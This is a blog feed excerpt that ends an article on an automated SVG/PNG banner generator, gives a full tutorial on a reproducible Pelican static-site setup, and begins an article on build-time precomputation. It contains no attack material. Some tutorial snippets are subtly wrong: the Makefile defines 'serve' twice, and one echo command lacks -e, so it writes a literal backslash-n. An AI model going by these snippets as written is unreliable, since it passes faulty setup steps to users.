    &lt;div class="banner-card"&gt;&lt;a href="/theme/images/articles/images/banners-png/design_docker_kubernetes.png" target="_blank"&gt;&lt;img src="/theme/images/articles/images/banners-png/design_docker_kubernetes.png" alt="Docker Kubernetes Design"&gt;&lt;/a&gt;&lt;div class="caption"&gt;🐳 docker_kubernetes&lt;/div&gt;&lt;/div&gt;
    &lt;div class="banner-card"&gt;&lt;a href="/theme/images/articles/images/banners-png/design_education_math.png" target="_blank"&gt;&lt;img src="/theme/images/articles/images/banners-png/design_education_math.png" alt="Education Math Design"&gt;&lt;/a&gt;&lt;div class="caption"&gt;📐 education_math&lt;/div&gt;&lt;/div&gt;
    &lt;div class="banner-card"&gt;&lt;a href="/theme/images/articles/images/banners-png/design_generic_tech.png" target="_blank"&gt;&lt;img src="/theme/images/articles/images/banners-png/design_generic_tech.png" alt="Generic Tech Design"&gt;&lt;/a&gt;&lt;div class="caption"&gt;💻 generic_tech&lt;/div&gt;&lt;/div&gt;
    &lt;div class="banner-card"&gt;&lt;a href="/theme/images/articles/images/banners-png/design_git_github.png" target="_blank"&gt;&lt;img src="/theme/images/articles/images/banners-png/design_git_github.png" alt="Git GitHub Design"&gt;&lt;/a&gt;&lt;div class="caption"&gt;🐙 git_github&lt;/div&gt;&lt;/div&gt;
    &lt;div class="banner-card"&gt;&lt;a href="/theme/images/articles/images/banners-png/design_latex_article.png" target="_blank"&gt;&lt;img src="/theme/images/articles/images/banners-png/design_latex_article.png" alt="LaTeX Article Design"&gt;&lt;/a&gt;&lt;div class="caption"&gt;📄 latex_article&lt;/div&gt;&lt;/div&gt;
    &lt;div class="banner-card"&gt;&lt;a href="/theme/images/articles/images/banners-png/design_linux_homelab.png" target="_blank"&gt;&lt;img src="/theme/images/articles/images/banners-png/design_linux_homelab.png" alt="Linux Homelab Design"&gt;&lt;/a&gt;&lt;div class="caption"&gt;🐧 linux_homelab&lt;/div&gt;&lt;/div&gt;
    &lt;div class="banner-card"&gt;&lt;a href="/theme/images/articles/images/banners-png/design_pelican_article.png" target="_blank"&gt;&lt;img src="/theme/images/articles/images/banners-png/design_pelican_article.png" alt="Pelican Article Design"&gt;&lt;/a&gt;&lt;div class="caption"&gt;🐦 pelican_article&lt;/div&gt;&lt;/div&gt;
    &lt;div class="banner-card"&gt;&lt;a href="/theme/images/articles/images/banners-png/design_python_programming.png" target="_blank"&gt;&lt;img src="/theme/images/articles/images/banners-png/design_python_programming.png" alt="Python Programming Design"&gt;&lt;/a&gt;&lt;div class="caption"&gt;🐍 python_programming&lt;/div&gt;&lt;/div&gt;
    &lt;div class="banner-card"&gt;&lt;a href="/theme/images/articles/images/banners-png/design_science_physics.png" target="_blank"&gt;&lt;img src="/theme/images/articles/images/banners-png/design_science_physics.png" alt="Science Physics Design"&gt;&lt;/a&gt;&lt;div class="caption"&gt;⚛️ science_physics&lt;/div&gt;&lt;/div&gt;
    &lt;div class="banner-card"&gt;&lt;a href="/theme/images/articles/images/banners-png/design_thumbnail_default.png" target="_blank"&gt;&lt;img src="/theme/images/articles/images/banners-png/design_thumbnail_default.png" alt="Thumbnail Default Design"&gt;&lt;/a&gt;&lt;div class="caption"&gt;🖼️ thumbnail_default&lt;/div&gt;&lt;/div&gt;
    &lt;div class="banner-card"&gt;&lt;a href="/theme/images/articles/images/banners-png/design_vim_article.png" target="_blank"&gt;&lt;img src="/theme/images/articles/images/banners-png/design_vim_article.png" alt="Vim Article Design"&gt;&lt;/a&gt;&lt;div class="caption"&gt;⌨️ vim_article&lt;/div&gt;&lt;/div&gt;
&lt;/div&gt;

&lt;h3&gt;🎨 Theme Variations&lt;/h3&gt;
&lt;p&gt;
Theme variations apply different colour palettes to the same underlying design components. Notice how structure remains identical while mood changes completely.
&lt;/p&gt;
&lt;div class="banner-gallery"&gt;
    &lt;div class="banner-card"&gt;&lt;a href="/theme/images/articles/images/banners-png/theme_arabic.png" target="_blank"&gt;&lt;img src="/theme/images/articles/images/banners-png/theme_arabic.png" alt="Arabic Theme"&gt;&lt;/a&gt;&lt;div class="caption"&gt;🇸🇦 arabic&lt;/div&gt;&lt;/div&gt;
    &lt;div class="banner-card"&gt;&lt;a href="/theme/images/articles/images/banners-png/theme_catppuccin--mocha.png" target="_blank"&gt;&lt;img src="/theme/images/articles/images/banners-png/theme_catppuccin--mocha.png" alt="Catppuccin Mocha Theme"&gt;&lt;/a&gt;&lt;div class="caption"&gt;🐱 catppuccin‑mocha&lt;/div&gt;&lt;/div&gt;
    &lt;div class="banner-card"&gt;&lt;a href="/theme/images/articles/images/banners-png/theme_dracula.png" target="_blank"&gt;&lt;img src="/theme/images/articles/images/banners-png/theme_dracula.png" alt="Dracula Theme"&gt;&lt;/a&gt;&lt;div class="caption"&gt;🧛 dracula&lt;/div&gt;&lt;/div&gt;
    &lt;div class="banner-card"&gt;&lt;a href="/theme/images/articles/images/banners-png/theme_educational.png" target="_blank"&gt;&lt;img src="/theme/images/articles/images/banners-png/theme_educational.png" alt="Educational Theme"&gt;&lt;/a&gt;&lt;div class="caption"&gt;📚 educational&lt;/div&gt;&lt;/div&gt;
    &lt;div class="banner-card"&gt;&lt;a href="/theme/images/articles/images/banners-png/theme_gruvbox-dark.png" target="_blank"&gt;&lt;img src="/theme/images/articles/images/banners-png/theme_gruvbox-dark.png" alt="Gruvbox Dark Theme"&gt;&lt;/a&gt;&lt;div class="caption"&gt;🎨 gruvbox‑dark&lt;/div&gt;&lt;/div&gt;
    &lt;div class="banner-card"&gt;&lt;a href="/theme/images/articles/images/banners-png/theme_latex.png" target="_blank"&gt;&lt;img src="/theme/images/articles/images/banners-png/theme_latex.png" alt="LaTeX Theme"&gt;&lt;/a&gt;&lt;div class="caption"&gt;📐 latex&lt;/div&gt;&lt;/div&gt;
    &lt;div class="banner-card"&gt;&lt;a href="/theme/images/articles/images/banners-png/theme_mathematical.png" target="_blank"&gt;&lt;img src="/theme/images/articles/images/banners-png/theme_mathematical.png" alt="Mathematical Theme"&gt;&lt;/a&gt;&lt;div class="caption"&gt;∫ mathematical&lt;/div&gt;&lt;/div&gt;
    &lt;div class="banner-card"&gt;&lt;a href="/theme/images/articles/images/banners-png/theme_minimal_light.png" target="_blank"&gt;&lt;img src="/theme/images/articles/images/banners-png/theme_minimal_light.png" alt="Minimal Light Theme"&gt;&lt;/a&gt;&lt;div class="caption"&gt;☀️ minimal_light&lt;/div&gt;&lt;/div&gt;
    &lt;div class="banner-card"&gt;&lt;a href="/theme/images/articles/images/banners-png/theme_nord.png" target="_blank"&gt;&lt;img src="/theme/images/articles/images/banners-png/theme_nord.png" alt="Nord Theme"&gt;&lt;/a&gt;&lt;div class="caption"&gt;❄️ nord&lt;/div&gt;&lt;/div&gt;
    &lt;div class="banner-card"&gt;&lt;a href="/theme/images/articles/images/banners-png/theme_one-dark.png" target="_blank"&gt;&lt;img src="/theme/images/articles/images/banners-png/theme_one-dark.png" alt="One Dark Theme"&gt;&lt;/a&gt;&lt;div class="caption"&gt;🌙 one‑dark&lt;/div&gt;&lt;/div&gt;
    &lt;div class="banner-card"&gt;&lt;a href="/theme/images/articles/images/banners-png/theme_scientific.png" target="_blank"&gt;&lt;img src="/theme/images/articles/images/banners-png/theme_scientific.png" alt="Scientific Theme"&gt;&lt;/a&gt;&lt;div class="caption"&gt;🔬 scientific&lt;/div&gt;&lt;/div&gt;
    &lt;div class="banner-card"&gt;&lt;a href="/theme/images/articles/images/banners-png/theme_solarized-dark.png" target="_blank"&gt;&lt;img src="/theme/images/articles/images/banners-png/theme_solarized-dark.png" alt="Solarized Dark Theme"&gt;&lt;/a&gt;&lt;div class="caption"&gt;🌞 solarized‑dark&lt;/div&gt;&lt;/div&gt;
    &lt;div class="banner-card"&gt;&lt;a href="/theme/images/articles/images/banners-png/theme_tech.png" target="_blank"&gt;&lt;img src="/theme/images/articles/images/banners-png/theme_tech.png" alt="Tech Theme"&gt;&lt;/a&gt;&lt;div class="caption"&gt;⚡ tech&lt;/div&gt;&lt;/div&gt;
&lt;/div&gt;

&lt;hr/&gt;

&lt;h2&gt;10. CLI Usage at a Glance&lt;/h2&gt;
&lt;p&gt;
The entire workflow is driven through a simple CLI, designed to feel familiar to developers:
&lt;/p&gt;

&lt;pre class="language-bash"&gt;
  &lt;code class="language-bash"&gt;
# Start a new article (triggers banner generation prompts)
python cli.py article new

# Generate a banner from an existing config
python cli.py banner generate article-42/banner.toml

# Generate from a design preset (nested path works)
python cli.py banner --design articles/tech/python_programming --svg --png

# Use presets organised in subdirectories
python cli.py banner --design books/fantasy/fantasy_book_cover --out-dir ./covers
&lt;/code&gt;
&lt;/pre&gt;

&lt;p&gt;
These commands are callable from &lt;code&gt;Makefile&lt;/code&gt; targets, CI scripts, or IDE task runners – no GUI needed.
&lt;/p&gt;

&lt;hr/&gt;

&lt;h2&gt;11. Problems Encountered During Development&lt;/h2&gt;
&lt;p&gt;
No system is built without hitting real‑world snags. These are the most significant issues we faced:
&lt;/p&gt;
&lt;ul class="compact-list"&gt;
&lt;li&gt;&lt;strong&gt;Font inconsistency across OSes:&lt;/strong&gt; SVG fonts rendered differently on Ubuntu, macOS, and Alpine. The fix was embedding a subset of the primary font as base64 inside the SVG.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;SVG filters crippled rasterisation speed:&lt;/strong&gt; drop shadows and blur effects increased &lt;code&gt;magick&lt;/code&gt; time from 200 ms to 3 seconds. Filters were eventually moved to optional “premium” themes.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Gradients produced banding in PNG:&lt;/strong&gt; some gradient stops required exact placement to avoid visual artefacts at 1200×630.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Long article titles overflowed:&lt;/strong&gt; titles exceeding 80 characters had to be truncated with an ellipsis, and a multi‑line fallback was added.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Typing animations broke social crawlers:&lt;/strong&gt; Twitter and LinkedIn ignored animated SVGs; we added a static fallback frame for PNG export.&lt;/li&gt;
&lt;/ul&gt;

&lt;hr/&gt;

&lt;h2&gt;12. What's Next – Animated Banners and A/B Testing&lt;/h2&gt;
&lt;p&gt;
The current generator produces either static PNGs or animated SVGs. The animated SVG retains typing effects, blinking cursors, and rotating watermarks – perfect for embedding in HTML articles or interactive documentation.
&lt;/p&gt;
&lt;p&gt;
Future directions:
&lt;/p&gt;
&lt;ul class="compact-list"&gt;
&lt;li&gt;&lt;strong&gt;Video previews&lt;/strong&gt; – render a few seconds of animated SVG to MP4 for social media.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Remote generation API&lt;/strong&gt; – expose the generator as a microservice for other Pelican sites.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;A/B testing&lt;/strong&gt; – automatically generate two design variants and compare click‑through rates.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Component packs&lt;/strong&gt; – distribute theme+component bundles as installable Python packages.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Static caching at scale&lt;/strong&gt; – use content‑addressed storage so regenerating a big site only updates changed banners.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;
But even in its current form, the banner generator has already paid for itself by eliminating hundreds of manual design hours.
&lt;/p&gt;

&lt;hr/&gt;

&lt;h2&gt;13. Final Thoughts – Treat Images Like Source Code&lt;/h2&gt;
&lt;p&gt;
The most important lesson from building this system is conceptual: &lt;strong&gt;banners are not assets – they are derivations&lt;/strong&gt;. They should be generated from metadata, not stored as binary blobs.
&lt;/p&gt;
&lt;p&gt;
Once you accept that, everything becomes simpler:
&lt;/p&gt;
&lt;ul class="compact-list"&gt;
&lt;li&gt;Version control stays clean (only TOML and theme files change).&lt;/li&gt;
&lt;li&gt;Brand updates apply retroactively (change a colour in the theme, regenerate everything).&lt;/li&gt;
&lt;li&gt;New articles never block on design work.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;
The banner generator is now an integral part of the Pelican publishing pipeline – running silently in the background, producing professional visuals without a single click in Photoshop.
&lt;/p&gt;
&lt;p&gt;
If your static site still relies on manual image editing, it's time to automate. And the code is already waiting in  &lt;a href="https://github.com/neoMOSAID/pelican_tools"&gt;pelican_tools&lt;/a&gt; repository
&lt;/p&gt;</content><category term="Programming"></category><category term="pelican"></category><category term="banners"></category><category term="svg"></category><category term="python"></category><category term="automation"></category><category term="open graph"></category><category term="thumbnails"></category></entry><entry><title>Setting Up Pelican Like a Developer (Not a Beginner) – Static, But Smarter</title><link href="https://mosaid.xyz/articles/setting-up-pelican-like-a-developer-not-a-beginner-static-but-smarter-23.html" rel="alternate"></link><published>2026-05-06T17:50:53+00:00</published><updated>2026-05-06T17:50:53+00:00</updated><author><name>mosaid</name></author><id>tag:mosaid.xyz,2026-05-06:/articles/setting-up-pelican-like-a-developer-not-a-beginner-static-but-smarter-23.html</id><summary type="html">&lt;p&gt;A structured, production-style setup of Pelican focusing on clean architecture, isolated environments, modular configuration, and plugin discipline.&lt;/p&gt;</summary><content type="html">&lt;p&gt;
Most Pelican tutorials teach the same sequence: run &lt;code&gt;pelican-quickstart&lt;/code&gt;, tweak a few settings, and start writing.
It works — until it doesn’t.
&lt;/p&gt;

&lt;p&gt;
The failure mode is predictable: as soon as the project outgrows “a few posts”, configuration spreads,
Python environments drift, plugins are added opportunistically, and the folder becomes a grab-bag of generated output and source files.
The site still builds… right up until the day it doesn’t, and you can’t explain why.
&lt;/p&gt;

&lt;p&gt;
In this article, we’re not “setting up Pelican”. We’re building a &lt;strong&gt;reproducible content system&lt;/strong&gt;:
&lt;/p&gt;

&lt;p&gt;
&lt;strong&gt;deterministic environment&lt;/strong&gt; → &lt;strong&gt;clean project scaffold&lt;/strong&gt; → &lt;strong&gt;split configuration&lt;/strong&gt; → &lt;strong&gt;disciplined dependencies&lt;/strong&gt; → &lt;strong&gt;automation from day one&lt;/strong&gt; → &lt;strong&gt;a first-run page&lt;/strong&gt;
&lt;/p&gt;

&lt;p&gt;
If you’re a beginner: you’ll get a path that works now and keeps working later.
If you’re a power user: you’ll get a structure you can version, automate, deploy, and extend without regret.
&lt;/p&gt;

&lt;hr/&gt;

&lt;h2&gt;1. Introduction – Why “Beginner” Setups Break&lt;/h2&gt;

&lt;p&gt;
Beginner setups break for one reason: they optimize for getting a page on screen, not for building a maintainable pipeline.
&lt;/p&gt;

&lt;p&gt;
A production-grade static site isn’t “a folder of Markdown” — it’s a system with:
&lt;/p&gt;

&lt;p&gt;• a pinned interpreter and reproducible dependencies&lt;/p&gt;
&lt;p&gt;• a clean separation between &lt;em&gt;source&lt;/em&gt; and &lt;em&gt;build output&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;• configuration that behaves differently in dev vs production&lt;/p&gt;
&lt;p&gt;• automation that makes the “right thing” the easiest thing&lt;/p&gt;

&lt;p&gt;
Let’s build that foundation first.
&lt;/p&gt;

&lt;hr/&gt;

&lt;h2&gt;2. Environment Isolation: Controlled Python, Not Global Chaos&lt;/h2&gt;

&lt;p&gt;
The first rule of a maintainable Pelican setup is simple:
&lt;strong&gt;your Python environment must be predictable&lt;/strong&gt;.
&lt;/p&gt;

&lt;p&gt;
We’ll do this in three layers:
&lt;/p&gt;

&lt;p&gt;• pin the Python interpreter (&lt;code&gt;pyenv&lt;/code&gt;)&lt;/p&gt;
&lt;p&gt;• isolate dependencies (&lt;code&gt;venv&lt;/code&gt;)&lt;/p&gt;
&lt;p&gt;• separate “what we want” from “what gets installed” (&lt;code&gt;pip-tools&lt;/code&gt;)&lt;/p&gt;

&lt;h3&gt;2.1 Pin the interpreter with pyenv&lt;/h3&gt;

&lt;p&gt;
If you already manage Python another way (asdf, mise, containers), keep your tool — the goal is still the same: pin the interpreter.
Here’s the &lt;code&gt;pyenv&lt;/code&gt; approach:
&lt;/p&gt;

&lt;pre class="language-bash"&gt;
  &lt;code class="language-bash"&gt;
pyenv install 3.12.2
pyenv local 3.12.2
&lt;/code&gt;
&lt;/pre&gt;

&lt;p&gt;
That creates &lt;code&gt;.python-version&lt;/code&gt;. Anyone cloning your repo gets the exact same Python version.
&lt;/p&gt;

&lt;h3&gt;2.2 Create a local virtual environment&lt;/h3&gt;

&lt;pre class="language-bash"&gt;
  &lt;code class="language-bash"&gt;
python -m venv .venv
source .venv/bin/activate
&lt;/code&gt;
&lt;/pre&gt;

&lt;p&gt;
At this point: no global packages, no “works on my laptop” surprises.
&lt;/p&gt;

&lt;h3&gt;2.3 Use pip-tools for deterministic installs&lt;/h3&gt;

&lt;p&gt;
A common trap is freezing everything too early. Instead, keep two files:
&lt;/p&gt;

&lt;p&gt;• &lt;code&gt;requirements.in&lt;/code&gt; = your direct dependencies (intent)&lt;/p&gt;
&lt;p&gt;• &lt;code&gt;requirements.txt&lt;/code&gt; = fully pinned dependency graph (resolution)&lt;/p&gt;

&lt;pre class="language-bash"&gt;
  &lt;code class="language-bash"&gt;
pip install pip-tools

# Define only direct dependencies
echo "pelican\nmarkdown" &gt; requirements.in

# Compile a fully pinned lockfile
pip-compile requirements.in

# Install exactly what was compiled
pip-sync requirements.txt
&lt;/code&gt;
&lt;/pre&gt;

&lt;blockquote&gt;
&lt;strong&gt;Key idea:&lt;/strong&gt; You’re not setting up “a blog”. You’re defining a build environment.
&lt;/blockquote&gt;

&lt;p&gt;
From now on, your environment is deterministic: Python version locked, dependencies reproducible, no global pollution.
&lt;/p&gt;

&lt;hr/&gt;

&lt;h2&gt;3. The Professional Project Scaffold&lt;/h2&gt;

&lt;p&gt;
The default Pelican layout is minimal. Minimal is fine for a weekend experiment.
For a real site, you want a directory structure that makes it obvious what is:
&lt;/p&gt;

&lt;p&gt;• source&lt;/p&gt;
&lt;p&gt;• output&lt;/p&gt;
&lt;p&gt;• UI/theme&lt;/p&gt;
&lt;p&gt;• extensions&lt;/p&gt;
&lt;p&gt;• automation&lt;/p&gt;

&lt;pre class="language-text"&gt;
  &lt;code class="language-text"&gt;
project/
│
├── content/              # source: articles, pages, images, extra files
│   ├── articles/
│   ├── pages/
│   ├── images/
│   └── extra/
├── output/               # generated site (never hand-edit)
├── theme/                # templates + CSS/JS
├── plugins/              # optional, controlled extensions
├── tasks/                # build/deploy scripts (later)
├── tools/                # custom generators (later)
├── pelicanconf.py        # dev config
├── publishconf.py        # production overrides
├── requirements.in       # intent
├── requirements.txt      # lockfile
└── Makefile              # automation
&lt;/code&gt;
&lt;/pre&gt;

&lt;p&gt;
This separation is what turns Pelican into a &lt;strong&gt;content pipeline&lt;/strong&gt;, not just a static site generator.
&lt;/p&gt;

&lt;h3&gt;3.1 Bootstrap the structure (one command)&lt;/h3&gt;

&lt;p&gt;
You can create everything manually, but a bootstrap script gives you repeatability.
Keep it simple, and don’t be afraid to parameterize it.
&lt;/p&gt;

&lt;pre class="language-bash"&gt;
  &lt;code class="language-bash"&gt;
#!/usr/bin/env bash
set -euo pipefail

PROJECT_NAME="pelican-project"
PYTHON_VERSION="3.12.2"

echo "[+] Creating project structure..."

mkdir -p "$PROJECT_NAME"/{content/{articles,pages,images,extra},output,theme,plugins,tasks,tools}

touch "$PROJECT_NAME"/pelicanconf.py
touch "$PROJECT_NAME"/publishconf.py
touch "$PROJECT_NAME"/Makefile
touch "$PROJECT_NAME"/requirements.in

touch "$PROJECT_NAME"/content/articles/.keep
touch "$PROJECT_NAME"/content/pages/.keep

echo "[+] Initializing Python environment..."
cd "$PROJECT_NAME"

pyenv local "$PYTHON_VERSION"

python -m venv .venv
source .venv/bin/activate

pip install pip-tools

echo -e "pelican\nmarkdown" &gt; requirements.in
pip-compile requirements.in
pip-sync requirements.txt

echo "[✓] Project ready."
&lt;/code&gt;
&lt;/pre&gt;

&lt;p&gt;
Now your Pelican project can be created in seconds — consistently, every time.
&lt;/p&gt;

&lt;hr/&gt;

&lt;h2&gt;4. Configuration Strategy – Split Dev vs Production (and keep secrets out of git)&lt;/h2&gt;

&lt;p&gt;
Treat configuration like code: explicit, modular, reviewable.
Pelican gives you two natural layers:
&lt;/p&gt;

&lt;p&gt;• &lt;code&gt;pelicanconf.py&lt;/code&gt; → development defaults&lt;/p&gt;
&lt;p&gt;• &lt;code&gt;publishconf.py&lt;/code&gt; → production overrides&lt;/p&gt;

&lt;h3&gt;4.1 A clean development config&lt;/h3&gt;

&lt;p&gt;
Keep the baseline boring and stable. This article’s goal is to get structure correct, not to introduce features.
&lt;/p&gt;

&lt;pre class="language-python"&gt;
  &lt;code class="language-python"&gt;
# pelicanconf.py

PATH = "content"

TIMEZONE = "UTC"
DEFAULT_LANG = "en"

THEME = "theme"

STATIC_PATHS = ["images", "extra"]
PAGE_PATHS = ["pages"]

# Optional hardening for dev feeds
FEED_ALL_ATOM = None
CATEGORY_FEED_ATOM = None
&lt;/code&gt;
&lt;/pre&gt;

&lt;h3&gt;4.2 Minimal production overrides&lt;/h3&gt;

&lt;pre class="language-python"&gt;
  &lt;code class="language-python"&gt;
# publishconf.py

from pelicanconf import *

SITEURL = "https://example.com"
DELETE_OUTPUT_DIRECTORY = True
&lt;/code&gt;
&lt;/pre&gt;

&lt;h3&gt;4.3 Optional: use a .env file (only if you need it)&lt;/h3&gt;

&lt;p&gt;
If you want environment-specific values (different &lt;code&gt;SITEURL&lt;/code&gt;, feature flags, etc.), you can use a &lt;code&gt;.env&lt;/code&gt;.
Just remember: a &lt;code&gt;.env&lt;/code&gt; is a convenience, not a requirement.
&lt;/p&gt;

&lt;pre class="language-text"&gt;
  &lt;code class="language-text"&gt;
SITEURL=http://localhost:8002
&lt;/code&gt;
&lt;/pre&gt;

&lt;p&gt;
If you do this, add &lt;code&gt;python-dotenv&lt;/code&gt; to your dependencies and load it explicitly:
&lt;/p&gt;

&lt;pre class="language-bash"&gt;
  &lt;code class="language-bash"&gt;
echo "python-dotenv" &gt;&gt; requirements.in
pip-compile requirements.in
pip-sync requirements.txt
&lt;/code&gt;
&lt;/pre&gt;

&lt;pre class="language-python"&gt;
  &lt;code class="language-python"&gt;
# pelicanconf.py
from dotenv import load_dotenv
load_dotenv()
&lt;/code&gt;
&lt;/pre&gt;

&lt;p&gt;
And crucially: don’t commit secrets. Add &lt;code&gt;.env&lt;/code&gt; to &lt;code&gt;.gitignore&lt;/code&gt;.
&lt;/p&gt;

&lt;hr/&gt;

&lt;h2&gt;5. Plugins: Intentional Selection (Not “plugin-first”)&lt;/h2&gt;

&lt;p&gt;
Pelican plugins are powerful — and easy to overuse.
Every plugin becomes part of your build pipeline.
So we follow a strict rule:
&lt;strong&gt;plugins must earn their place&lt;/strong&gt;.
&lt;/p&gt;

&lt;p&gt;
In the early stage, you should be able to build a working site with &lt;em&gt;zero plugins&lt;/em&gt;.
That forces you to understand:
&lt;/p&gt;

&lt;p&gt;• where data comes from (content + metadata)&lt;/p&gt;
&lt;p&gt;• how it flows through templates&lt;/p&gt;
&lt;p&gt;• how URLs and structure are generated&lt;/p&gt;

&lt;p&gt;
When you do add plugins, add them like normal dependencies: pinned, documented, and reproducible.
&lt;/p&gt;

&lt;pre class="language-bash"&gt;
  &lt;code class="language-bash"&gt;
# example: sitemap (only when you’re ready)
pip install pelican-sitemap
&lt;/code&gt;
&lt;/pre&gt;

&lt;p&gt;
Then enable them explicitly (and only where needed):
&lt;/p&gt;

&lt;pre class="language-python"&gt;
  &lt;code class="language-python"&gt;
PLUGIN_PATHS = ["plugins"]
PLUGINS = ["sitemap"]
&lt;/code&gt;
&lt;/pre&gt;

&lt;p&gt;
If you need custom behavior, prefer implementing it in &lt;code&gt;tools/&lt;/code&gt; or your theme once you fully understand the pipeline.
&lt;/p&gt;

&lt;hr/&gt;

&lt;h2&gt;6. Version Control Hygiene: What to Commit vs What to Regenerate&lt;/h2&gt;

&lt;p&gt;
A clean Pelican project is defined by what you &lt;strong&gt;don’t keep&lt;/strong&gt;.
Generated output, caches, and virtualenvs should never mix with source content.
&lt;/p&gt;

&lt;p&gt;
Here’s a minimal &lt;code&gt;.gitignore&lt;/code&gt; that keeps your repo clean:
&lt;/p&gt;

&lt;pre class="language-text"&gt;
  &lt;code class="language-text"&gt;
# Python
.venv/
__pycache__/
*.py[cod]

# Pelican
output/
.pelican-cache/

# Environment
.env

# OS / editor
.DS_Store
.vscode/
&lt;/code&gt;
&lt;/pre&gt;

&lt;p&gt;
As a rule of thumb:
&lt;/p&gt;

&lt;p&gt;• &lt;strong&gt;Commit:&lt;/strong&gt; &lt;code&gt;content/&lt;/code&gt;, &lt;code&gt;theme/&lt;/code&gt;, configs, &lt;code&gt;requirements.in&lt;/code&gt;, &lt;code&gt;requirements.txt&lt;/code&gt;, &lt;code&gt;Makefile&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;• &lt;strong&gt;Never commit:&lt;/strong&gt; &lt;code&gt;output/&lt;/code&gt;, &lt;code&gt;.venv/&lt;/code&gt;, caches, generated artifacts&lt;/p&gt;

&lt;blockquote&gt;
&lt;strong&gt;Golden rule:&lt;/strong&gt; Only source files matter. Everything else can be regenerated.
&lt;/blockquote&gt;

&lt;p&gt;
Optional but useful: add &lt;code&gt;.editorconfig&lt;/code&gt; to prevent formatting drift across machines.
&lt;/p&gt;

&lt;hr/&gt;

&lt;h2&gt;7. The Build System: A Makefile from Day One&lt;/h2&gt;

&lt;p&gt;
Before writing content, define how the system runs.
Automation isn’t “extra”; it’s how you make good practices frictionless.
&lt;/p&gt;

&lt;pre class="language-make"&gt;
  &lt;code class="language-make"&gt;
.PHONY: dev build publish serve clean

PORT ?= 8002

# Live-reload development server
serve:
    pelican -r -l -p $(PORT)

# Deterministic build (uses pelicanconf.py)
build:
    pelican content -s pelicanconf.py -o output

# Production build (uses publishconf.py)
publish:
    pelican content -s publishconf.py -o output

# Serve the generated output directory
serve:
    cd output &amp;&amp; python -m http.server $(PORT)

clean:
    rm -rf output __pycache__ .pelican-cache
&lt;/code&gt;
&lt;/pre&gt;

&lt;p&gt;
This gives you a stable interface:
&lt;/p&gt;

&lt;p&gt;• &lt;code&gt;make serve&lt;/code&gt; → live reload&lt;/p&gt;
&lt;p&gt;• &lt;code&gt;make build&lt;/code&gt; → local build&lt;/p&gt;
&lt;p&gt;• &lt;code&gt;make publish&lt;/code&gt; → production output&lt;/p&gt;
&lt;p&gt;• &lt;code&gt;make clean&lt;/code&gt; → wipe generated artifacts&lt;/p&gt;

&lt;hr/&gt;

&lt;h2&gt;8. First Light: “Hello World” Page&lt;/h2&gt;

&lt;p&gt;
Before you write “real” content, prove the pipeline works end-to-end.
We’ll create a page (not an article) because it’s the fastest way to validate output without date ordering or taxonomies.
&lt;/p&gt;

&lt;pre class="language-bash"&gt;
&lt;code class="language-bash"&gt;
mkdir -p content/pages
cat &gt; content/pages/home.md &lt;&lt; 'EOF'
Title: Hello, World
Slug: home

# Hello, World

This page was generated by Pelican.
EOF
&lt;/code&gt;
&lt;/pre&gt;

&lt;p&gt;
Start the development server:
&lt;/p&gt;

&lt;pre class="language-bash"&gt;
&lt;code class="language-bash"&gt;
make serve
&lt;/code&gt;
&lt;/pre&gt;

&lt;p&gt;
Open &lt;code&gt;http://localhost:8002&lt;/code&gt; in your browser.
If you see “Hello, World”, your environment, config, and directory layout are all aligned.
&lt;/p&gt;

&lt;p&gt;
&lt;strong&gt;Congratulations&lt;/strong&gt; — the machine works.
Now we can safely add complexity without ever breaking the “works out of the box” contract.
&lt;/p&gt;

&lt;hr/&gt;

&lt;h2&gt;9. What We Just Built (and Why It Matters)&lt;/h2&gt;

&lt;p&gt;
You now have a &lt;strong&gt;build pipeline&lt;/strong&gt;, not just a blog folder.
From here onward, you’ll repeatedly apply a simple three-layer pattern:
&lt;/p&gt;

&lt;p&gt;
&amp;#8226; &lt;strong&gt;Config:&lt;/strong&gt; tell Pelican what to load and how to structure output
&lt;/p&gt;
&lt;p&gt;
&amp;#8226; &lt;strong&gt;Theme:&lt;/strong&gt; render that data intentionally (templates, includes, layout)
&lt;/p&gt;
&lt;p&gt;
&amp;#8226; &lt;strong&gt;Metadata conventions:&lt;/strong&gt; define the shape of the content so it stays queryable at build time
&lt;/p&gt;

&lt;p&gt;
This pattern scales: it keeps the project understandable at 5 posts and at 500.
&lt;/p&gt;

&lt;p&gt;
&lt;strong&gt;Next:&lt;/strong&gt; in the next article we’ll design a clean content architecture — file naming, front matter vocabulary,
and a directory strategy that keeps your site navigable and extensible as it grows.
&lt;/p&gt;

&lt;hr/&gt;</content><category term="Programming"></category><category term="pelican"></category><category term="static site generator"></category><category term="python"></category><category term="devops"></category><category term="web development"></category><category term="linux"></category><category term="automation"></category></entry><entry><title>Stop Thinking at Runtime: The Power User’s Guide to Precomputation in Pelican</title><link href="https://mosaid.xyz/articles/stop-thinking-at-runtime--the-power-user%E2%80%99s-guide-to-precomputation-in-pelican-22.html" rel="alternate"></link><published>2026-05-05T17:19:48+00:00</published><updated>2026-05-05T17:19:48+00:00</updated><author><name>mosaid</name></author><id>tag:mosaid.xyz,2026-05-05:/articles/stop-thinking-at-runtime--the-power-user’s-guide-to-precomputation-in-pelican-22.html</id><summary type="html">&lt;p&gt;Most developers treat static sites like simplified dynamic apps. That’s a mistake. In this guide, we explore the mental model shift from runtime thinking to build-time precomputation, turning your Pelican site into a fast, data-driven system.&lt;/p&gt;</summary><content type="html">&lt;p&gt;Most developers hit the same wall with static sites.&lt;/p&gt;

&lt;p&gt;They like the speed. They like the simplicity.&lt;/p&gt;

&lt;p&gt;And then they stop.&lt;/p&gt;

&lt;p&gt;&amp;#8226; “No search.”&lt;/p&gt;
&lt;p&gt;&amp;#8226; “No comments.”&lt;/p&gt;
&lt;p&gt;&amp;#8226; “No real interactivity.”&lt;/p&gt;

&lt;p&gt;So they go back to a backend… or reach for a JavaScript framework.&lt;/p&gt;

&lt;p&gt;Not because they need one—&lt;/p&gt;

